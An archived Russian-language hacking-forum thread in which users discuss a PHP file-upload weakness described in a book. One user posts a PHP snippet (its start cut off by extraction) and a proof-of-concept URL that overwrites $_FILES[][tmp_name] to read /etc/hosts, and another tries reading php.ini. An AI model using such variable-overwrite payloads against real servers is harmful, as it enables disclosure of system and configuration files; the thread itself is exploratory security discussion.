PDA

Просмотр полной версии : Уязвимость в уплоадерах


Octavian
10.03.2017, 18:14
Читал книгу наткнулся на это попробовал уязвимость на практике но ничего не вышло

Что имел ввиду автор? Ведь название временного файла генерируется автоматически и даже если мы откроем скрипт словим POST и вместо названия напишем etc/passwd ничего не произойдет! http://uploads.ru/94nJd.jpg

http://s3.uploads.ru/t/94nJd.jpg

crlf
10.03.2017, 18:27
Большая часть текста взята из мана PHP. Смею предположить, что имеется в виду какой-то частный случай типа extract, $$val или register_globals=On.

VY_CMa
10.03.2017, 18:34
Ведь название временного файла генерируется автоматически


При возможности перезаписи значений переменных возможна атака.

@crlf (https://antichat.live/members/285197/) прав.

Начинка https://github.com/php/php-src/blob/master/ext/standard/basic_functions.c#L5808

crlf
10.03.2017, 18:34
Пример:


PHP:
$value) {
$file=$key;
$name=$value['name'];
$type=$value['type'];
$data=file_get_contents($value['tmp_name']);
$send.="--$boundary\r\nContent-Disposition: form-data; name=\"$file\"; filename=\"$name\"\r\nContent-Type:$type\r\n\r\n".$data."\r\n";
}
echo$send;
?>



http://localhost/test.php?_FILES[][tmp_name]=/etc/hosts

Octavian
10.03.2017, 18:52
crlf said:
↑ (https://antichat.live/posts/4058584/)
Пример:

PHP:
$value) {
$file=$key;
$name=$value['name'];
$type=$value['type'];
$data=file_get_contents($value['tmp_name']);
$send.="--$boundary\r\nContent-Disposition: form-data; name=\"$file\"; filename=\"$name\"\r\nContent-Type:$type\r\n\r\n".$data."\r\n";
}
echo$send;
?>



http://localhost/test.php?_FILES[][tmp_name]=/etc/hosts


У меня на локалке не пашет

http://localhost/test.php?$_FILES[][tmp_name]=/php/php.ini

crlf
10.03.2017, 20:04
Nginx + PHP 5.6 нормально отрабатывает. В каком окружении проверяешь? Варнинги есть?